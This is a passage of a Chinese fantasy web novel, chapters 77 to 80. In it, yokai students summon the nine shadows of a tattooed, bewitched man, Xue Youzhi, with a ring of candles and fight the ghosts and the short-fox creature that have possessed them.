他一边说着，手上还在使劲扯着布衾，两个壮汉谁也扯不过谁，最后妥协的是可怜的灰色布衾，自断两半做了成全。
赵义惊讶：“啊呀这！”
薛有志瑟缩起来，半条布衾根本遮不住他，他看着手中的破布沉思了一会，忽然开始脱衣服，众妖看得一愣一愣的，他们是没怎么啦，就是赵义有些不忍直视地捂住了脸。
他把衣服脱下来是为了遮住自己——真是太聪明了。
只是衣服一脱，几妖就瞧见了他身上花里胡哨的文身。
欧武武只瞥了一眼，忽然灰瞳一凝，手一伸就给薛有志施了定身术，正好停留在他抬着胳膊的动作，胸膛上的文身展露无遗。
赵义被突然静止的薛兄吓了一跳，他惊奇地把手在薛有志面前晃了晃，只能瞧见他的眼珠随着他的手在摆动，其他五官静止在一个并不好看的状态。他顿时大喜过望，抓着薛有志的肩膀摇了摇：“太好了，他们真是大师，薛兄你有救了！”
其实定身术就是一个很小的法术，不过几妖也没有解释，欧武武把赵义扒拉开，仔仔细细地打量薛有志胸膛上的文身。
陆甲问：“欧大哥，你可是发现了什么端倪？”
叶米听见胡和烈小声又不屑地嘀咕了一声：“还欧大哥？呵。”
他会不高兴也是正常的，猫想到刚刚两队碰面的时候，胡和烈和陆甲打招呼，换来对方明显冷淡的态度，只朝他矜持地点了点头，连个笑容都
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是很勉强的模样。
谢珍珠后来还没眼力色地问：“咦，我记得陆甲不是和胡大哥关系很好吗，他平时都笑嘻嘻叫你胡大哥的，刚刚怎么是这样的脸色？胡大哥，你们吵架了吗？”
胡和烈想到先前猫提醒他的话，心里有了几分明白，没好气道：“谁跟墙头草关系好了？”
谢珍珠：“啊？”
万情贞一个局外人也看明白了：“墙头草是什么意思不知道啊？现在他是跟对边一组的，再讨好胡大哥，那只狼不生气？”
谢珍珠：“哦！”
——就是这么回事。
欧武武仔细打量文身的时候，叶米等妖也走近看了看，这文身不看不知道，一看还怪诡异的，它画的是一颗树，树根在肚脐眼，往上长出九根叉开的树枝，每一根树枝上都结出了一个果实，果实是人头的模样。
树上头就是薛有志茂盛的胸毛，黑乎乎毛茸茸扭曲曲的，大概是充作树叶吧，反正显得这棵树更观感不佳。有些胸毛还给人头做了头发，有些做了胡须，有长有短还有造型呢。
赵义见他们好奇这个，在边上解说：
“薛兄是景州锦体社的社员，平时喜好文身，他们社的社员个个身上都是花团锦簇的。有人文诗词有人文画，薛兄不喜欢诗词，说文绉绉的老装了，生怕别人不知道自己肚子里有墨似的，于是就在身上文了许多画。几位现在看的是……嘶，是什么画来着？”
欧武武眸光一沉：“九影神。”
“欸欸，正是这个名！”
胡和烈看那九个人头个顶个的阴森，每一张脸都是普通平凡的，一挪开视线就会忘了他长什么样，只记得一双幽幽与自己对视的阴森眼睛：“还九影神，我看是九头鬼。”
“哼，不懂了吧？”欧武武从薛有志的胸毛前直起身来，略有些得意道，“这画是幅佚名画，据说是一个看见了自己九个影子的人画出来的，画完之后他就走火入魔疯了，自尽而亡。”
林圆圆没听过这画：“九个影子？人怎么会有九个影子？”
欧武武道：“你们京城这片的ya、人没听过这事也不奇怪，在我老家那边有个说法，人类的影子最多能照出九个，叫做影神，九个影子各有名称，具体叫啥我忘了，而且记载此事的麻面纸受了损坏，估计没人再知道。”
他看着薛有志文身的眉头微微皱起：“至于这幅画……其实我老家画九影神的画有许多，画样各不相同，发展到后边，多是以九个人头代表九影神，再画个什么东西将其相连……这便是一种喻示了，就如薛有志身上这个，看过几幅九影神画的都认得出来。”
“对对，”赵义虽然听不太明白，还是在边上附和道，“他们锦体社里总有许多稀奇古怪的画，因为大家都图独一无二，不想自己文身上的和别人撞样式，便四处收集一些杂画集。”
叶米听完这些，挑了下眉：“所以这九影神和薛有志的病症有什么关联？”
77. 第 77 章
“传闻……”
欧武武刚说两个字，陆甲忽然抓住他胳膊：“咳咳，欧大哥，你有什么推测的话不如我们三个（重音）私下好好商讨一下？”
欧武武把他的手扒拉开，奇怪道：“我跟你们有什么好商讨的？”
陆甲：？
“那你要和谁商讨？”
欧武武：“叶米啊。”
陆甲：？？
他恍惚以为自己听错了，瞪大眼睛看了眼一脸无辜的叶米，又看狼，不敢大声质问：“为、为什么？我们才是一组的！欧大哥，你不是没搞清楚状况吧？”
“你才没搞清楚状况。”欧武武哼了一声，“我们二组比试的事显然和九影神有关，若是他们不明白情况，不就跟做题不知道题目一样？那怎么算公平？我又怎么公平公正、不容置喙地赢了叶米？”
叶米在边上差点要笑出来：“说得好。”
陆甲：……
“再说了，”欧武武还有理由，“这九影神可不是那么好对付的，我不吓唬你，若是只有我们三yao、人去应付，指不定要全死。到时候叶米他们不就平白地赢了？”
叶米点点头：“是这么个道理。”
“啊？？”林圆圆只是想通过考核，也没成仙的执念，所以最多接受受点伤，甚至不愿意伤得太重，更没想过要死啊，这时候连忙道，“这么危险！这可不行啊，我、我们还是一起去吧……嗯，整整齐齐的！”
她这时候才意识到能遇见叶米这组的好处了，有叶米和胡和烈两个法力高强的，又有谢珍珠同她交好的，还有一个不知道谁但看着无害的，就算赢的几率寥寥，但安全感是够够的呀！
陆甲当然也是怕死的：“可是……”
欧武武并不理他，只继续说道：“传闻人影越深越好，越深就说明此人越福泽绵长。不过人影不能照在水里、井里或是浴盆等处，这种照影照出来的影子浅，而且容易会被水中的怪物攻击，虽是伤害了影子，但会反噬到人身上。”
胡和烈觉得他说得有点抽象，不过他试图理解：“你的意思是，薛有志的影子被怪物攻击了，所以魂魄受损，脑子也出了问题？”
欧武武：“很有可能。”
叶米：“这只是一幅九影神的刺青，不能表示他的九影受损。”
欧武武摇摇头：“你不懂，我们那谁买九影神的画就是为了占相的，因为带着九影神会更容易召唤出九影，不带画不好瞧见，所以占相之后都会及时把画销毁，以防九影被损害。”
他说完，用手指指着薛有志，一脸看傻子的表情：“像这种把九影神文在身上的蠢蛋，很容易就会让九影显形，倒时被什么短狐、踏影蛊攻击了，甚至被妖魔鬼怪附身在九影之中，全赖他自己活该。”
“没想到你还是蛮了解的。”叶米点点头，一副受教的表情，“所以要怎么救他？”
欧武武面色严肃了一些：“一般被短狐和踏影蛊攻击了影子，只会生病……像他这样失智疯癫的情况，极有可能是有影子被妖鬼附身……唯一的办法就是将九影召唤出来，将附身在其中的妖鬼击退……”
叶米：“听着很简单。”
欧武武：“……搞不好薛有志会死的，须要将那附身在影子之中的鬼怪击退而不能打死，死了影子也没了，影子少一个，寿命少九年；原先很深的影子若受损变浅，也会危害性命。”
“这也太束手束脚了！”万情贞吐槽，“又要把妖鬼打死，又不能让影子受伤，这不是为难我们吗？”
“而且，”叶米也想到一个关键问题，“若是失手将他的影子杀了几个导致他死了，那这条人命怎么算？我们两组的输赢又要怎么算？”
是啊，怎么算嘛？
众妖陷入沉默。
赵义从刚刚开始就觉得自己在听天方夜谭，那是听了也听不懂，懂了也不敢信，模模糊糊之间好像明白了这件事很难办，又看几位大师的脸色沉默着，一颗心也不由得提了起来，小心地问道：
“几位大师，不知我薛兄还有救吗？”
谢珍珠叹了口气，看他对好友如此关心，心里也是很同情的：“赵义，你是想让薛有志就这样糊里糊涂地活着，还是九死一生地被救呢？”
赵义一愣，他看了看被定住的好兄弟，想到从前与他把酒言欢、苦中作乐，互相取笑的一幕幕，厚厚的鼻头泛起了酸涩：“我、我……我不能让他这样糊里糊涂地活着，他定是不愿意的，九死一生……不是还有一生的可能吗？”
陆甲撇嘴：“还有九死呢。”
赵义抽了下鼻子：“可他这样的活怎么能算是活？还不如死了。”
“是呀，”万情贞也赞同，“他现在连自己是谁都不知道了，怎么能算是活着？”
叶米心说这事难道还有商量的余地吗，既然薛有志是她们的考核对象，就是十死零生也得让她试试：“行了，不至于让他马上死。”
赵义：“……马上是指？”
叶米琢磨了一下：“起码留一个影子给他，活个两三年不成问题。”
赵义有些想哭，一顿委屈涌上心头，他摇摇薛有志的肩膀喊道：“薛兄，你糊涂啊！下次别文这些玩意在身上了，你看看你闯了什么祸！要是只能活两三年，都没有姑娘家愿意嫁给你的，到时候你可别缠上我……”
……重点在这里啊？
欧武武说要先把薛有志身上的九影神召唤出来，考虑到在场唯一的凡人可能会拖后腿，他就让赵义先离开了，免得到时候还要操心他小命。
林圆圆和谢珍珠受命去买蜡烛，其余妖留下来清场地，他们原本是打算把堂屋里的桌子椅子等物都搬到其他地方，但这堂屋就这么小，七只妖在里边一不小心就要擦肩膀碰胳膊的，等会要是九影出来了也不好打……
想了想，还是去收拾外边的院子，等天黑得差不多了再开始。
他们收拾院子的方式也很粗暴，自然不可能乖乖地搬来搬去、再拿扫帚把地上
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的杂物灰尘扫干净的，不过是用法术吹一阵风，把东西挪到边边上，保证中间腾出来一块地就完事了。
胡和烈和万情贞把还在被定住的薛有志搬到了院子里来，让他以打坐的姿势坐在了院子中央，然后拍了拍手，一切搞定的架势。
这样差不多都准备好了，只待天黑。谢珍珠说还有点时间她饿了想吃饭，于是叶米四妖就吃饭去了；欧武武见他们走了，也说要去吃点东西，吃饱了等会打起妖鬼来也有力气些，于是他们三妖也走了。
这下只剩下依旧处在定身术之中的薛有志孤零零地坐在院子里，脸上还是刚刚脱衣服时微微张嘴的表情，一阵秋风吹过，卷起地上被七妖随意扫到一边的灰尘和枯叶。
无人在意之处，屋外挨着墙长的树上的一滴水落下，卟通一声潜入水缸里残存不多的水中，只一下之后又是寂静无声。
饭吃到一半，忽然下起了暴雨。
雨势之浩大，天地间只瞧见灰色的幕帘，伸出手去才发现是无数条雨线，雨水砸在地上又弹跳而起的声音噼里啪啦哒哒的像鞭炮炸裂，震得在食店二楼吃饭的四妖一惊。
他们坐在窗边，听这动静转头往窗外看去，原先热热闹闹的街上眨眼就不见一个人了，大家挤挤挨挨地躲在屋檐之下避雨，徒留可怜的肉包摊子、糖葫芦摊子等各色摊子无助地挨着风雨，这也是没办法了，雨大到让人望而却步。
檐布上很快就汇集了大滩雨水，本就在头顶摇摇晃晃得让人心惊，忽地一下就灌了下来，吓得下边避雨的人哇哇大叫，叫声掩在雨声下，听着很远。
二楼的楼梯口陆续上来好多人，身上都是湿的，拿着帕子在擦脸擦脖子。
“怎么突然下这么大的雨？”谢珍珠把窗户关了，以免雨水打进来，“刚刚我们进来的时候，天上还不见乌云呢。”
万情贞瞥了眼上方，嘀嘀咕咕道：“谁知道要干什么。”
这雨一下，天忽然灰蒙了下来，四妖见雨势磅礴，也不急着用膳。半炷香之后，听见外边有人喊“雨停了雨停了”，这时候再打开窗户一看，天地间已是浅浅的夜幕。
他们回到薛有志家，看见院子里多一个桌子，薛有志盘腿坐在桌子上，本应该不变的表情，不知为何多了几分凄凄惨惨的苦楚，大概是眼睛太悲哀了。
欧武武见他们回来，没好气道：“你们真是悠哉悠哉，现在才回来！”
胡和烈睨他：“刚刚下雨了你不知道啊？急这一会功夫吗？”
“你！”欧武武不知怎么好生气，一副有话不知道怎么说出的样子，简直给他自己憋得慌了，一跺脚转过身去，兀自生气。
谢珍珠问好友：“圆圆，怎么回事啊？”
林圆圆苦笑一声，也是无奈：“你们走之后，欧武武也提议去吃饭，结果饭菜刚端上来就下了雨，雨势太大，我们怕薛有志出事，扒拉了两口饭就回来了，路上冒着大雨，雨水打下来眼睛都睁不开，也没办法，得赶紧给人送到屋里去。”
78. 第 78 章
她朝薛有志身下的桌子歪了歪下巴：“等雨停了，外边院子又是一塌糊涂，我们只好再收拾了一遍，又要顾及薛有志屁股不受潮，搬了张桌子出来让他坐着……总是就是又折腾了一番，刚弄好你们就回来了。”
这确实有点惨哈。
“啊……”谢珍珠没忍住笑了一声，又同情道，“我们不知道你们也出去了。”
“是。”林圆圆耸了下肩，“所以也怪不着你们，他才这么生气呢。”
“好了吧！”欧武武转回来，故作不耐烦道，“什么时候开始？”
陆甲也应付着催促一声：“开始开始！”
他们先把九根蜡烛均匀地摆在地上，绕着薛有志形成一个圆，林圆圆和谢珍珠施展术法将所有蜡烛一一点上，薛有志双眼里的茫然逐渐被火光替代，原本只有双眼能显露出神色的一张脸，瞳孔里失去了情绪，忽地变得陌生起来。
他的上衣已经被妖精们脱下，秋日的晚上刚下过雨，不刮风时也会有莫名的阵阵寒气，他被他们摆成打坐的姿势，哪里都动不了，也许浑身上下只有鸡皮疙瘩和眼珠子是可活动的。
蜡烛全部点好了，有妖施展了法术，让所有的火光都往他身上照，他的肤色本就黝黑，整个人又壮又结实，浑身染上烛光之后透出一片暗沉的土黄，倒像是山寨版第十九位罗汉像。
“一二三……”万情贞数着地上的影子，怎么都数不过来，“不对不对，这不是他的，二三、额，一二三……喂，你别乱走好吧？”
陆甲被凶了，凶回去道：“数得明白吗你？这一个坐着的影子不好数啊？”
“……那你数！”
万情贞也奇怪，薛有志的影子是他们之中最壮的，应该最好数才是，为什么自己总是数不明白，数了这个，正要数下一个，余光又瞧见后头多了一个……奇怪，是他看走眼了还是怎么？
“是不是我们妖太多，在这里碍事了，”谢珍珠刚刚也在数，但数了一会就头蒙，甩甩脑袋道，“要不然我们先走远一些，留一只妖数？”
万情贞立刻跳起来：“行啊，就让陆甲数，他说自己数的明白！我数不明白，我不数了！”
陆甲：……
他莫名感到了一丝不怀好意的嘲讽，但这会他也只能梗着脖子道：“行啊，不、不就数个影子！”
几妖见他愿意，便主动往后退去，胡和烈退退退，忽然碰到了一个冷冰冰湿漉漉东西，伴着“水晃晃”的一声，他回头一看，原来是碰到了院子里的水缸，缸里的水将满未满，晃荡一下就怕要溢出来。
胡和烈与水面上并不清晰的自己的影子对视一眼，往边上挪了挪，回过头去看陆甲数影子。
陆甲回过神时，身边除了薛有志以外就没有一妖了，大家为了不打扰他，贴心地退了好远，个个都差点要碰到墙。陆甲原先不觉得院子有多大，如今却觉得这快小地方空旷得令妖瑟缩。
尤其是低下头一看，一眼数不过来的影子像是无数个隐藏在暗处的人环绕着他，世间被割裂成两块，他孤零零地站在上头，地下的人虎视眈眈。
砰砰。
陆甲被自己的心脏跳得抖了一下，他深呼一口气，吸进来一股让他清醒一些的寒气，终于能够沉下心来开始数影子。
“一、二，三……七、八，九，十……不对，”他转了个身，脑袋一恍惚，“多数了一个，是、是我自己的？再来，一二三四……七八……这个数过没？奇怪……”
他在那数了两三圈，还没数个所以然出来。万情贞乐了，哪里会放过这样的好机会，立刻高声嘲讽道：“喂，数的明白么你！”
书灵原以为对方会气急败坏地回怼、最少也要瞪他一眼，但陆甲却仿佛没听见般，头都没有抬一下，一直埋头数着影子。万情贞就以为他是被打了脸心虚了，冷哼一声不再说什么。
事实上陆甲真是没听见，他莫名沉浸在一套麻木的动作里，双腿有节奏地绕着薛有志所在的桌子走了一圈，又一圈；右手伸出一根手指，对着地上的影子一点，这算是数进来了；嘴里一直嘟囔着什么，风吹过来一听，似乎是：
“一二三……七八九十……不对，重来……”
这么过了一会，站在边上看的人意识到不对劲了，叶米看向欧武武，欧武武朝陆甲喊：“陆甲，你什么情况？”
陆甲依旧没有回复，勤勤恳恳地重复着他的动作。
欧武武和叶米对视一眼，后者的眼珠子往那边一飘，算是给了他一个眼神，又耸了下肩，连起来的意思就是“明显有问题，但是你们组的妖我可不管”。
欧武武皱了下眉，又喊了一声陆甲，对方依旧没有任何反应，他无奈只好往陆甲走去，可没走两步，正要走入地上被九根蜡烛圈起来的范围，那根他脚下的蜡烛忽然爆炸出能蹿到他头顶的火焰。
火焰之中冲出来一张狰狞的脸，五官由火组成所以瞧不分明，只看出一张血盆大口迎面来咬了一下，又反复一声怒吼。
“我去！”
狼妖猝不及防地退了一步，额上的头发被烧了一丝，也不知被热着还是怎么，额间已经出了一层薄汗。
他还未反应过来，忽然身边一阵风过，是胡和烈闯入蜡烛阵之中，欧武武定睛一看，原来是有一根蜡烛烧成了人影的模样，正要偷袭失去意识的、重复数影子的陆甲，好在胡和烈及时到达，冲火影放出一击。
然而，那一招打在火影上，火影如水似的荡开一个洞来躲过了攻击，复又还原，仿佛什么都没有发生过。
他暗道不妙，正想再次进入蜡烛阵之中，可每次他要进去，却会被火影扑腾着阻止，包括边上同样想要进去的叶米等妖也是一样。除了刚刚趁其不备闯入的胡和烈，其余妖都被困在了外边。
谢珍珠是最讨厌火的，连忙问：“这火影太可怖了，要不我们把这些蜡烛灭了吧？”<
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“不行！”欧武武咬着牙道，“这些影子已经附身在火焰之中，若是灭了火，薛有志指不定也要灭了。”
林圆圆闻言焦急道：“不灭火怎么过去，我们外边只有五只妖，这蜡烛就有九只，一对二啊？陆甲还是那副模样……”
万情贞嚷嚷：“陆甲可不关我们的事，但是薛有志死了谁都不好过哈！”
叶米点头：“薛有志不能死。”
林圆圆：“好！”
兔子精说关心陆甲吧，其实也没有那么关心，不过是出于妖道主义问一嘴罢了，她们二妖也没有什么情分，陆甲出了事那就出事吧，只要不死就是淘汰嘛，更何况现在胡和烈在里头，想来也不会有什么，她自然还是要跟随大家的意见。
蜡烛阵里的胡和烈被火烤得浑身冒汗，热得烦躁，可是他不能出去，他得待在里头甩着螫针要保护两个傻子，时不时这边戳一下打退一只火影，右边踹一脚逼退一张大嘴。
他后来觉得跟着陆甲转实在是太麻烦，搞得他头晕眼花的，干脆直接把陆甲打晕了，往桌子上一扔，叠在了薛有志的腿上，这下他就能很专心在下边对付火影了，还不忘找队友：“叶米，有什么办法！？”
叶米诚恳地敷衍他：“还没想到，先打着。”
胡和烈：……
他们还真就这样打了一会，一开始还有妖天真地以为把火影打累了指不定就有办法了，打到自己气喘吁吁的时候想法就老实了许多。
万情贞虽然偶尔偷会懒，但是也很累啊，正在边上擦汗喘气休息的时候，忽然背后挨了一掌，他猛然一惊，差点被推到前面的火焰之中，好险边上的谢珍珠拉了他一把，险险地抢救回来了，回头一看，震惊道：
“胡大哥！？你怎么在外边——不是，你推我做什么！”
谢珍珠尖叫：“胡大哥在里面！”
万情贞一下子不能分辨怎么回事了，但是最该做的事他很清楚：“猫大人救命啊！！”
猫大人飞过来，两招击退了“胡和烈”，不过这转眼间的交手，她就察觉到这“胡和烈”身上熟悉的气息，很浅很淡，但确实是扑棱蛾子的，可是……
“欧武武！”叶米冲狼妖喊，“你去把胡和烈换出来，快！”
这种时候也管不了比试了，欧武武退了两步，一跃而起，在夜色之下火光之上闪过一只矫健灰狼，落地时又是人形，他连忙和胡和烈交替了保护两个傻子的任务，抬头忽然看见陆甲迷迷糊糊地又起来了，顺手又给了他一掌。
胡和烈跳出火坑，看见叶米在和“胡和烈”对打，他看了有些奇怪，过去问：“你收敛什么，还不快把他杀了？”
叶米一掌将“胡和烈”逼退一丈远，转过头没好气道：“认不出来？他身上有你的味道。”
胡和烈用了两秒反应“他身上有你的味道”是什么意思，幸好他还是反应过来了：“你说他是我的影子！？”
79. 第 79 章
“准确地说，是妖怪附身在了你掉出来的影子之中，”叶米扯了下嘴角：“自己都想不起来什么时候闯的祸了？”
胡和烈：“我能闯什么祸，我一直和你们在一起。”
他仔细地想了半秒，也实在想不出来，自然不能麻烦叶米继续对付他的影子，提着螫针便上去了，心里又难免好奇和自己（的影子）对打是什么感觉，不过只是一个影子，应该是没有本体厉害的吧？
“喂，”胡和烈朝他抬抬下巴，“不管你是谁，从我的影子里出来，再说明白你是怎么趁妖之危勾出我的影子，我还能考虑饶你一命。”
“哼，”他笑了一下，这么奸诈的笑容胡和烈从来没在自己脸上见过，“你当我傻啊？我就不下来，如果你杀了我，你少了一个影子，也是自损八百！我谅你也舍不得下手，哈哈哈！”
“我是舍不得，你觉得她会舍不得吗？”胡和烈朝叶米瞥了眼，像是和他说秘密一般摇了摇头，压低声音道，“我可打不过她，更别提你了。”
影子沉默了一下，还是决定做一次挣扎，不自量力地冲了上来，想要给胡和烈添点堵：“少废话！”
胡和烈轻叹口气，几招之后就用螫针刺伤了他，虽是他的影子，却没有躲过螫针上的毒素，跑了两步忽然平地摔，这是肢体麻木；晃了晃脑子看不清手指，这是神智糊涂。
胡和烈踹了影子一脚，对方面色痛苦地侧倒在地上，一点都支棱不起来了，他看着自己影子狼狈的模样，心里又嫌弃又不得劲，忍不住奇怪道：“到底是什么时候？明明我什么都没做……”
他纳闷地摸摸下巴，看向叶米，对方正忙着打火影呢，不知是不是他的错觉，那火影原本狰狞可怖的脸似乎呈现出一些疲累和痛苦；他又看向谢珍珠和万情贞，前者一遍擦汗一边坚持抵抗，后者的动作十分有七分拖沓，看起来想偷懒。
扑棱蛾子最后看向蜡烛阵里的欧武武，他们所知道的关于九影的事情都来自于他，于是胡和烈细细回想了一遍他说过的话：
【传闻人影越深越好，越深就说明此人越福泽绵长。】
【……不过人影不能照在水里、井里或是浴盆等处，这种照影照出来的影子浅，而且容易会被水中的怪物攻击……】
【……你的意思是，薛有志的影子被怪物攻击了，所以魂魄受损……】
天上掉下一滴姗姗来迟的雨，正好降落在他的头上，头皮一凉的感觉像是灵光一闪，胡和烈转头一看，那被一场暴雨补满了水的水缸正静静地待在院子里一个不起眼的角落，从他这个角度望去，缸里一片黑，什么也瞧不见。
他觉得自己知道是怎么回事了。
看大家都在忙，胡和烈也不打扰他们，拖着影子的领子，一路拖到了水缸边上，又提了起来让影子照水缸的水面，一开始黑乎乎的水面什么都没照出来——这是反常的，胡和烈不急不躁地试了几个法术，水面上这才照出影子来。
水里的影子也是他，或是他的影子的影子？搞不明白，只不过那影子神情木讷，像是被抽取了灵魂的傀儡，胡和烈看着“自己”那副表情也是怪渗妖的，皱起眉头正打算想点办法，下意识摸了摸下巴，没注意到手上还拎着影子。
这下昏迷之中的影子就瘫软了下来，头直接“扑通”地砸到了水缸里，砸出一大片水花，溅到了胡和烈的衣服上，他还自觉无辜：“搞什么！”
还没等他把影子拉起来，却见影子变得模糊起来，原本的肉身很快瘫软下去，像是皮里边的肉消失了。胡和烈震惊之际又见水缸里飘出一球金白色的光，在空中绕了一会，跑进了他的眉心里。
胡和烈感到脑子一阵清明，身体上一直挥之不去的疲惫一扫而光，整只妖充满了力量。再低头一看，“影子”已经消失不见，留下一口铁锅大小的……鳖？看着却又不完全像，奇怪的是只有三只脚。
那鳖中了他螫针上的毒，这会还没回过神，动了一下尾巴，被胡和烈不轻不重踢了一脚，顿时僵硬不敢动了。
胡和烈觉得他肯定不是鳖，那是什么呢？去问问别妖好了，便提着它尾巴拎在空中，走过去找叶米。
叶米这时候也打累了，见他拿了什么东西过来，停止战斗退了几步：“这是什么，鳖？”
胡和烈说不知道，然后揪着鳖的尾巴让它在空中旋转了几圈给猫以及凑上来的谢珍珠和万情贞打量：“谢珍珠，你见过没？”
谢珍珠琢磨了一下：“像鳖，又不完全像，是不是长歪了的呢？”
万情贞怂恿道：“我们把它烤了吃一吃不就知道了？正巧这里也有火。”
这真是一个好注意，那鳖立刻不敢装死了，大喊大叫道：“饶命啊饶命啊！小妖知道错了！”
叶米：“你是鳖妖？”
“我不是！”鳖妖道，“我是短狐。”
谢珍珠：“狐狸没有你这么丑。”
短狐：“……你这是种族歧视！”
谢珍珠说自己才没有，但看短狐的眼神是有一丝丝嫌弃的：“要怎么处置他呢？”
胡和烈捏着他的尾巴甩了甩：“不知道，但他先前附身了我的影子，还不知道他和九影之间的关系，留着也是隐患，万情贞说得不错，还是烤了算了。”
短狐又尖叫起来：“不要啊，饶命啊，我知错了，是我不自量力！”
万情贞：“不自量力是什么意思？要是有那实力就要杀了胡大哥的意思？”
短狐：……
胡和烈冷笑道：“想得美，像你这样为非作歹、偷人影子的妖怪，死不足惜！”
他随手一抛，就将惨叫连连的短狐抛到了最近的一个火影上，那火影还长着嘴，猝不及防地就把短狐吞了进去，火焰凝滞了片刻，忽地开始呕吐。
不是，先前打了老久了也没见火
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影反应这么大啊？
众妖都震惊，就连林圆圆也停下手中的动作，诧异地往边上闪了一下。
一个火影能吐什么？竟是一个灰白色的暗淡光球，胡和烈看着有三分熟悉，直到瞧见那球跑到了薛有志的眉心，他才恍然大悟：“那是薛有志的影子！”
众妖这才反应过来，误打误撞之中竟给他们找到了解决问题的方法。之间那吐出灰白光球的火影忽地发出一声凄厉的怒吼，蜡烛的火瞬间熄灭，即将消散的火焰之中跑出两道影子。
一道是短狐，它也算是小难不死；一道是黑色的鬼影，想来就是先前占据薛有志一影的鬼。
林圆圆就在边上，这蜡烛先前是她负责的，倒是很快反应了过来，冲上去对付那只鬼。
鬼可比火影好对付，招招都得挨着。
叶米等妖面面相觑，万情贞露出一个智慧的奸诈笑容，把那只想要逃跑但只是徒劳的短狐又拎了起来，一抡胳膊，快准狠地投到了另一只火影的嘴巴里，果真又冒出一个灰白光球，火影变成了鬼。
万情贞一鼓作气：“受死吧！”
大家依样画葫芦，逼出不少鬼来，地上的蜡烛灭了一盏又一盏，蜡烛阵里的欧武武也轻松了许多，不过他们多少发现了，火影吐出的灰白光球有暗有亮，有大有小，大概代表着那些影子的状态好坏。
火影中的鬼甚至不全是人形，还有动物的、奇形怪状的，比如叶米就抽盲盒抽中了一只断了尾巴的老虎妖，好在她打老虎有经验，虽然被咬伤了一口，不过还是打死了。
后来胡和烈为尽量保证公平，还把陆甲弄醒了，让他们组不必只有两妖苦苦支撑。
夜色已深。到这个时候，蜡烛已经灭了七只，大家都累得气喘吁吁，叶米也不勉强，坐在地上歇了会，余光也看见欧武武坐在桌子上，神情放空地擦了把汗。
她这时候掰着手指数了数，发现她们一组杀了四只鬼，欧武武那边杀了三只，先不说这些鬼谁厉害谁弱一些，照数量上来看她们有些危险啊，于是猫就坐不住了，站起来走到已经摆烂的短狐边上，提起了它的尾巴。
见叶米要继续，其他妖没说什么，欧武武却叫住了她：“叶米，只剩下两只鬼了。”
叶米扭头看他：“你要是累了，接下来都交给我解决也行。”
欧武武见她口气一如既往的大，嗤笑一声道：“别怪我没提醒你，九影之中，有一影是可显世的主影神，也就是寻常人类照光时落在人间的那一影，最稳定、最有阳气，最不易被鬼夺去……所以能附身此影的鬼，有多厉害就不用我说了吧？”
叶米不知道还有这说法。
几妖也是一愣，刚刚和这些鬼的搏斗之中，他们多少都受了伤，而且许多鬼都是几妖合力解决，可见就连普通的鬼也不好对付，更遑论主影……
万情贞说话声还喘着气：“你怎么不早说！”
80. 第 80 章
“……先前没想起来。”欧武武一撇嘴，“我告诉你们已是仁义尽致了好吧！”
那倒也是。
谢珍珠打鬼打得吃力，只怕自己等会帮不上忙，又操心起来：“叶米，要不你再歇会？”
叶米斟酌了一下：“还有两只蜡烛，不一定我会选到。”
谢珍珠实诚道：“我觉得你会。”
万情贞举手：“我也觉得，猫大人，刚刚最厉害的老虎鬼就给你开出来了。”
胡和烈扯了下嘴：“而且在万妖堂小测的时候，你几乎回回抽到我，要是抽别的班的，都是什么老虎精狼妖的，这说明什么你心里不清楚啊？”
林圆圆一时忘了自己是哪个队的，附和道：“是啊是啊，大家都说你手最黑呢。”
欧武武忍不住说：“她原形的两只手确实都是黑的！”
“噗嗤。”
“哈哈哈哈！”
大家纷纷笑了起来，很快又意识到自己是在笑谁，连忙收敛了表情。
叶米：。
她还真的思考了一下，难道她的手气真的不太好？万妖堂小测的时候，她觉得抽到厉害的妖怪是件很幸运的事来着……
原来大家是这么看她的。
“既然如此，”叶米摊手，“若是注定要我选中主影，那谁先选都是一样的。再说量力而行，难道在场还有比我更适合和主影交手的妖？”
几妖不知道量力而行还能这样给她用。
欧武武不高兴地吐槽：“这几月我法力见长，不见得比你弱！”
叶米瞥他一眼，不在意他话里不服气的心虚，提溜着短狐随意走到离她最近的那只蜡烛边上，这蜡烛烧得只剩下一节手指那么短，火影立在风中，影影绰绰的，漠然看着她，甚至还伸出手向她要短狐，看着好不肆无忌惮。
看对方这样的淡然自信，猫妖不得不预料到接下来的故事发展，还好她不慌张，非常礼貌地将短狐放到了火影的手上。
火影扬起脑袋把短狐吞进去之前，一双无形的眼睛却有如实质地盯着她，裂开的嘴角像是一种恶笑。
几妖静静地注视着叶米和火影的一举一动，看着不动如山，其实有几个心里已经想跑远点了，不过这时候的空气中密密麻麻全是不可见的紧张，大家只怕动一根手指都要破坏了这微妙的和平。
这只火影吞下短狐之后，很顺畅地呕出了灰白光球，这光球发的光最亮，没一会就飘走了，大家伙现在也没工夫研究它，就盯着火影看，只见它忽地把脖子一扬，整只影猛然膨胀开来，火焰气势冲天。
叶米连忙退了两步，下一瞬就被扑面而来的热浪烫得脸烧，她挥手一挡，竟然挡不开，急急被逼退一丈远。
蜡烛阵那一圈原本熄灭的七根蜡烛也忽然着起火来，火焰气势汹汹地融为一起，逐渐高升膨胀，阵中的欧武武和陆甲见状不妙，一人架着一只薛有志的胳膊，不敢怠慢，连忙把他从里边带了出来。
“我的天，”叶米站在很前边，万情贞不敢上去，于是缩到了胡和烈边上，“这这、这么大的鬼火，不是要走水了吧……到时候咋灭啊……”
胡和烈神色凝重，心中不妙的感觉愈演愈烈，无心回答万情贞的话。
林圆圆的瞳孔里倒映着火光，橙红色盖住了她原本泛红的瞳孔，兔子精拉住谢珍珠的手，咽了咽口水：“天大地大，小命最大，等会见势不妙，我拉着你跑，我法力虽不高强，但他们都没我跑得快……不会让你变成烤螃蟹的。”
“没事的、没事的……”谢珍珠擦了把汗，目不转睛地看着叶米的背影，“有、有叶米她们在……”
林圆圆心想大难临头，比起相信叶米和胡和烈，难道不是尽快远离战场更安全吗？但此时她还不知道接下来要发生什么，说不定没什么大事呢？便只是紧张地抿着嘴唇，不再多话。
叶米站在火差点要烧到的地方，猫的眼睛其实不好看太亮的东西，但这会她竖着猫瞳，努力想看清火里的情况，可再怎么看，似乎只能隐隐约约地瞧见一个黑色的影子，究竟有没有还说不准。
天色已是墨黑，薛有志的院子里火光滔天，火像这片被隔绝的天地中的太阳，照在院子里无处可躲的众妖身上，归于地面一道道深色的影子中。这光却没照到隔壁人家的屋檐上，要跃出院子时，仿佛有无形的一堵墙给光折断了。
它愈燃愈烈，可只往天上烧，并未涉及边上破屋子，水缸的水面被照得透亮，能瞧见缸底一颗不见天日的石头。
